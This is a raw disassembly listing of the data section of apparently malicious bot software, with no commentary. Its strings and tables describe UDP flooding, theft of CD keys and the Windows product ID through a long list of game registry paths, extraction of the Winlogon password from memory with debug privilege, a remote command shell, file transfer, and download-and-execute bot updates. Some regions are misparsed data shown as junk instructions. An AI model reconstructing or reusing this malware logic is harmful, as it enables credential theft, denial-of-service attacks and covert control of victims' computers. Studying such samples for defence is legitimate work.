dd 66202928h, 656C6961h, 72202C64h, 72757465h, 3A64656Eh
dd 64253C20h, 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6F73203Ah, 74656B63h, 66202928h, 656C6961h, 72202C64h
dd 72757465h, 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h
dd 2696D61h, 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h
dd 202C646Fh, 70206425h, 656B6361h, 73207374h, 2E746E65h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0 ; DATA XREF: .nsp0:0041542Co
align 4
dword_43E41C dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3dword_43E430 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dha_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4157A6+60o
align 4
dword_43E468 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415846:loc_41587Bo
dword_43E47C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415846+20o
dword_43E490 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: .nsp0:00415963o
dd 6574656Ch, 0
dword_43E4AC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: .nsp0:004158C6o
dd 676E6974h, 0
aDisplay db 'DISPLAY',0 ; DATA XREF: .nsp0:004159C7o
aWindow db 'Window',0 ; DATA XREF: sub_415BF1+23o
; sub_415DEA+26o
align 4
dd 80000001h
off_43E4DC dd offset aSoftwareValveC ; DATA XREF: sub_416029+Cr
; sub_416029+21o
; "Software\\Valve\\CounterStrike\\Settings"
dd offset aCdkey ; "CDKey"
dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_43E4E8 dd 2 dup(0) dd 80000001h, 43F66Ch, 43F660h, 43F650h, 2 dup(0)
dd 80000001h, 43F630h, 43F62Ch, 43F618h, 2 dup(0)
dd 80000001h, 43F5F4h, 43F62Ch, 43F5E8h, 2 dup(0)
dd 80000001h, 43F5C4h, 43F5BCh, 43F5A8h, 2 dup(0)
dd 80000001h, 43F594h, 43F584h, 43F568h, 2 dup(0)
dd 80000001h, 43F524h, 43F6ACh, 43F510h, 2 dup(0)
dd 80000002h, 43F4E4h, 43F4D8h, 43F4B8h, 2 dup(0)
dd 80000002h, 43F484h, 43F6ACh, 43F46Ch, 2 dup(0)
dd 80000002h, 43F438h, 43F6ACh, 43F420h, 2 dup(0)
dd 80000002h, 43F408h, 43F6ACh, 43F3F0h, 2 dup(0)
dd 80000002h, 43F3B4h, 443398h, 43F3A4h, 2 dup(0)
dd 80000002h, 43F36Ch, 443398h, 43F358h, 2 dup(0)
dd 80000002h, 43F30Ch, 443398h, 43F2ECh, 2 dup(0)
dd 80000002h, 43F29Ch, 443398h, 43F270h, 2 dup(0)
dd 80000002h, 43F234h, 443398h, 43F220h, 2 dup(0)
dd 80000002h, 43F1E8h, 443398h, 43F1D8h, 2 dup(0)
dd 80000002h, 43F188h, 443398h, 43F15Ch, 2 dup(0)
dd 80000002h, 43F11Ch, 443398h, 43F100h, 2 dup(0)
dd 80000002h, 43F0D0h, 443398h, 43F0B0h, 2 dup(0)
dd 80000002h, 43F074h, 443398h, 43F060h, 2 dup(0)
dd 80000002h, 43F018h, 443398h, 43EFF8h, 2 dup(0)
dd 80000002h, 43EFA4h, 443398h, 43EF74h, 2 dup(0)
dd 80000002h, 43EF24h, 443398h, 43EEF8h, 2 dup(0)
dd 80000002h, 43EEB8h, 43EEB0h, 43EE90h, 2 dup(0)
dd 80000002h, 43EE4Ch, 443398h, 43EE30h, 2 dup(0)
dd 80000002h, 43EDE4h, 443398h, 43EDC0h, 2 dup(0)
dd 80000002h, 43ED8Ch, 443398h, 43ED80h, 2 dup(0)
dd 80000002h, 43ED4Ch, 443398h, 43ED40h, 2 dup(0)
dd 80000002h, 43ED0Ch, 443398h, 43ED00h, 2 dup(0)
dd 80000002h, 43ECCCh, 443398h, 43ECC0h, 2 dup(0)
dd 80000002h, 43EC84h, 443398h, 43EC70h, 2 dup(0)
dd 80000002h, 43EC34h, 443398h, 43EC20h, 2 dup(0)
; ---------------------------------------------------------------------------
add al, [eax]
add byte_43EBF0[eax], al
lodsb
test byte ptr [ebx+0], 0D4h
jmp short loc_43E842
; ---------------------------------------------------------------------------
align 10h
dd 2 dup(0)
; ---------------------------------------------------------------------------
add al, [eax]
add byte_43EBB4[eax], al
lodsb
jmp short loc_43E856
; ---------------------------------------------------------------------------
align 4
dd offset aCommandAndConq ; "Command and Conquer: Tiberian Sun"
align 10h
add al, [eax]
add byte_43EB6C[eax], al
lodsb
jmp short loc_43E86E
; ---------------------------------------------------------------------------
align 4
dd offset aCommandAndCo_0 ; "Command and Conquer: Red Alert"
dd 2 dup(0)
dd 80000002h, 43EB2Ch
db 0ACh, 0EBh
; ---------------------------------------------------------------------------
loc_43E842: ; CODE XREF: .nsp0:0043E7FDj
inc ebx
add [eax], cl
jmp short loc_43E88A
; ---------------------------------------------------------------------------
align 10h
dd 80000002h
db 0F0h, 0EAh
; ---------------------------------------------------------------------------
loc_43E856: ; CODE XREF: .nsp0:0043E811j
inc ebx
add [ebx+ebp*8-1513FFBDh], ch
inc ebx
; ---------------------------------------------------------------------------
db 0
dd 2 dup(0)
dd 80000002h
; ---------------------------------------------------------------------------
shr dl, 1
loc_43E86E: ; CODE XREF: .nsp0:0043E829j
inc ebx
add al, al
jmp far ptr 43h:0EAB80043h
; ---------------------------------------------------------------------------
align 10h
add al, [eax]
add byte_43EA84[eax], al
test al, ah
loc_43E88A: ; CODE XREF: .nsp0:0043E845j
inc edx
add [edx+ebp*8+43h], ch
; ---------------------------------------------------------------------------
db 0
dd 2 dup(0)
dd 80000002h, 43EA30h, 43EA24h, 43E9FCh, 43E9ECh, 43E9D8h
dd 80000002h, 43E9B4h, 43E9A8h, 43E994h, 43E984h, 43E97Ch
dd 80000002h, 43E9B4h, 43E9A8h, 43E950h, 43E984h, 43E948h
dd 80000002h, 43E9B4h, 43E9A8h, 43E918h, 43E984h, 43E910h
dd 6 dup(0)
dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
dd 64726564h, 296B7261h, 0
dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h
dd 696E692Eh, 0
aNeverwinterNig db 'Neverwinter Nights',0
align 4
aLocation db 'Location',0
align 4
aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0
align 4
aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0
align 4
aBaseMpSof2key db 'base\mp\sof2key',0
aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0
align 4
aInstallpath db 'InstallPath',0
db 53h
aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
align 4
aHiddenDangerou db 'Hidden & Dangerous 2',0
align 4
byte_43EA84 db 53h ; DATA XREF: .nsp0:0043E882w
aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
align 4
aChrome db 'Chrome',0
align 10h
aSerialnumber db 'SerialNumber',0
align 10h
aSoftwareTechla db 'Software\Techland\Chrome',0
align 4
aNox db 'NOX',0
aSoftwareWestwo db 'Software\Westwood\NOX',0
align 4
aCommandAndCo_1 db 'Command and Conquer: Red Alert 2',0
align 4
db 53h
aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0
align 4
aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 ; DATA XREF: .nsp0:0043E82Co
align 4
byte_43EB6C db 53h ; DATA XREF: .nsp0:0043E822w
aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0
aCommandAndConq db 'Command and Conquer: Tiberian Sun',0 ; DATA XREF: .nsp0:0043E814o
align 4
aSerial_0 db 'Serial',0
align 4
byte_43EBB4 db 53h ; DATA XREF: .nsp0:0043E80Aw
aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0
align 4
aRainbowSixIiiR db 'Rainbow Six III RavenShield',0
byte_43EBF0 db 53h ; DATA XREF: .nsp0:0043E7F2w
aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
align 10h
aNascarRacing20 db 'Nascar Racing 2003',0
align 4
db 53h
aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
align 10h
aNascarRacing_0 db 'Nascar Racing 2002',0
align 4
db 53h
aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
align 10h
aNhl2003 db 'NHL 2003',0
align 4
db 53h
aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
align 10h
aNhl2002 db 'NHL 2002',0
align 4
db 53h
aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
align 10h
aFifa2003 db 'FIFA 2003',0
align 4
db 53h
aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
align 10h
aFifa2002 db 'FIFA 2002',0
align 4
db 53h
aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
align 10h
aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0
align 4
db 53h
aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
db 'on\ergc',0
align 10h
aNeedForSpeedUn db 'Need For Speed: Underground',0
db 53h
aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
align 10h
aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0
align 10h
aErgc db 'ergc',0
align 4
db 53h
aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
align 4
aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0
align 4
db 53h
aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
db 'earhead\ergc',0
align 4
aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0
align 4
db 53h
aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
db 'eakthrough\ergc',0
align 4
aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0
align 4
db 53h
aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
db 'gc',0
align 10h
aGlobalOperatio db 'Global Operations',0
align 4
db 53h
aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
align 10h
aCommandAndCo_2 db 'Command and Conquer: Generals',0
align 10h
db 53h
aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni db 'James Bond 007: Nightfire',0
align 4
db 53h
aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0
align 4
db 53h
aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
db 'o Hour\ergc',0
align 4
aBlackAndWhite db 'Black and White',0
db 53h
aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
align 10h
aBattlefieldVie db 'Battlefield Vietnam',0
db 53h
aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
align 10h
aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0
align 4
db 53h
aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
db 'of WWII\ergc',0
align 4
aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0
db 53h
aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
db 'e\ergc',0
align 4
aBattlefield1_1 db 'Battlefield 1942',0
align 4
db 53h
aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce db 'Freedom Force',0
align 4
db 53h
aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri db 'IGI 2: Covert Strike',0
align 4
db 53h
aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0
align 10h
aUnrealTourname db 'Unreal Tournament 2004',0
align 4
db 53h
aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0
align 4
aUnrealTourna_0 db 'Unreal Tournament 2003',0
align 4
db 53h
aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0
align 4
aMicrosoftWindo db 'Microsoft Windows Product ID',0
align 4
aProductid db 'ProductId',0
align 4
db 53h
aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0
align 10h
aSoldiersOfAnar db 'Soldiers Of Anarchy',0
aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
align 4
aLegendsOfMight db 'Legends of Might and Magic',0
align 4
aCustomernumber db 'CustomerNumber',0
align 4
aSoftware3d0Sta db 'Software\3d0\Status',0
aIndustryGiant2 db 'Industry Giant 2',0
align 4
aPrvkey db 'prvkey',0
align 4
aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0
align 4
aHalfLife db 'Half-Life',0
align 4
aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0
align 4
aGunmanChronicl db 'Gunman Chronicles',0
align 4
aKey_0 db 'Key',0
aSoftwareValveG db 'Software\Valve\Gunman\Settings',0
align 10h
aTheGladiators db 'The Gladiators',0
align 10h
aRegnumber db 'RegNumber',0
align 4
aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0
align 4
aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: .nsp0:0043E4E4o
aCdkey db 'CDKey',0 ; DATA XREF: .nsp0:0043E4E0o
align 4
aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .nsp0:off_43E4DCo
align 4
asc_43F6DC: ; DATA XREF: sub_416029+E9o
; sub_416029+F4o
unicode 0, <=>,0
dword_43F6E0 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah
; DATA XREF: sub_416029+2Bo
dd 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_43F75C db 2Dh ; - ; DATA XREF: .nsp0:00416522o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_43F780 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: .nsp0:00416787o
; .nsp0:0041691Do
dd 726F72h
unk_43F798 db 2Dh ; - ; DATA XREF: .nsp0:0041671Fo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_43F7C4 db 2Dh ; - ; DATA XREF: .nsp0:00416627o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_43F7E8 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: .nsp0:004165F0o
dd 74756Fh
dword_43F800 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: .nsp0:0041658Fo
dd 169h
unk_43F818 db 2Dh ; - ; DATA XREF: .nsp0:0041654Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_43F838 db 2Dh ; - ; DATA XREF: .nsp0:004164A7o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_43F85C db 2Dh ; - ; DATA XREF: .nsp0:00416469o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_43F880 db 2Dh ; - ; DATA XREF: .nsp0:00416996o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43F8AC db 2Dh ; - ; DATA XREF: .nsp0:00416892o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43F8CC db 2Dh ; - ; DATA XREF: .nsp0:00416872o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: .nsp0:0041685Eo
unk_43F8FC db 2Dh ; - ; DATA XREF: .nsp0:0041684Ao
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_43F92C db 2Dh ; - ; DATA XREF: .nsp0:00416E95o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_43F958 db 2Dh ; - ; DATA XREF: .nsp0:00416E87o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_43F98C db 2Dh ; - ; DATA XREF: .nsp0:00416DCBo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_43F9D0 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: .nsp0:00416D5Ao
dd 25206465h, 73h
unk_43F9EC db 2Dh ; - ; DATA XREF: .nsp0:00416CE3o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_43FA24 db 2Dh ; - ; DATA XREF: .nsp0:00416C64o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_43FA4C db 2Dh ; - ; DATA XREF: .nsp0:00416BDAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_43FA78 db 2Dh ; - ; DATA XREF: .nsp0:00416B97o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_43FAA0 db 2Dh ; - ; DATA XREF: .nsp0:00416B85o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_43FAC8 db 2Dh ; - ; DATA XREF: .nsp0:00416A79o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_416FAA:loc_416FEDo
; sub_41979A+104o
aInvalid db 'Invalid',0 ; DATA XREF: sub_416FAA:loc_416FE7o
aDisk db 'Disk',0 ; DATA XREF: sub_416FAA:loc_416FE1o
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416FAA:loc_416FDBo
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416FAA:loc_416FD5o
align 4
off_43FB18 dd offset word_4D4152 ; DATA XREF: sub_416FAA:loc_416FCFo
word_43FB1C dw 3Fh ; DATA XREF: sub_416FAA+1Fo
; sub_41B2E4:loc_41B3E6r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_41703B:loc_417113o
; sub_417156+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_41703B+6Bo
align 10h
unk_43FB30 db 2Dh ; - ; DATA XREF: sub_417156+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_43FB6C db 2Dh ; - ; DATA XREF: sub_417156+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
aA_1 db 'A:\',0 ; DATA XREF: sub_417228:loc_41726Do
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles_0 db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_43FC18 db 2Dh ; - ; DATA XREF: sub_417517:loc_417690o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_43FC4C db 2Dh ; - ; DATA XREF: sub_417517:loc_417663o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_43FC78 db 2Dh ; - ; DATA XREF: sub_417517:loc_41765Co
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_43FCB0 db 2Dh ; - ; DATA XREF: sub_417517+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_43FD0C dd offset byte_530055 ; DATA XREF: sub_417517+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004D
dd offset byte_4E0049
dd 0
off_43FD24 dd offset byte_530055 ; DATA XREF: sub_417517+CEo
dd offset byte_520045
dd offset loc_41004D+1
dd offset byte_45004D
align 8
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417517+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417517+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417517+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417517+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417517+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_417517+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_417517+40o
; sub_417517+161o ...
align 4
unk_43FDE8 db 2Dh ; - ; DATA XREF: sub_417517+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_4176E9+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_4176E9+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4176E9+AFo
align 4
dword_43FE34 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417B4F+70o
; sub_417BE6+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43FE84 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417BE6+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_43FED8 dd offset aQ ; DATA XREF: sub_4180E3+5Cr
; "q"
dd offset aW ; "w"
dd offset aE ; "e"
dd offset aR ; "r"
dd offset aT ; "t"
dd offset aY ; "y"
dd offset aU ; "u"
dd offset aI_1 ; "i"
dd offset aP ; "p"
dd offset aA_0 ; "a"
dd offset aS_1 ; "s"
dd offset aD ; "d"
dd offset aF ; "f"
dd offset aG ; "g"
dd offset asc_42B9BC ; "h"
dd offset aJ ; "j"
dd offset aK ; "k"
dd offset asc_42B92C ; "l"
dd offset aZ ; "z"
dd offset asc_42FB78 ; "x"
dd offset aC ; "c"
dd offset aV ; "v"
dd offset aB_0 ; "b"
dd offset aN ; "n"
dd offset aM_1 ; "m"
dd offset dword_440A3C
dd offset dword_440A38
dd offset dword_440A34
dd offset dword_440A30
dd offset dword_440A2C
dd offset word_440A28
dd offset dword_440A24
dd offset aI ; "I"
dd offset dword_440A20
dd offset dword_440A1C
dd offset aA ; "A"
dd offset dword_440A18
dd offset dword_440A14
dd offset dword_440A10
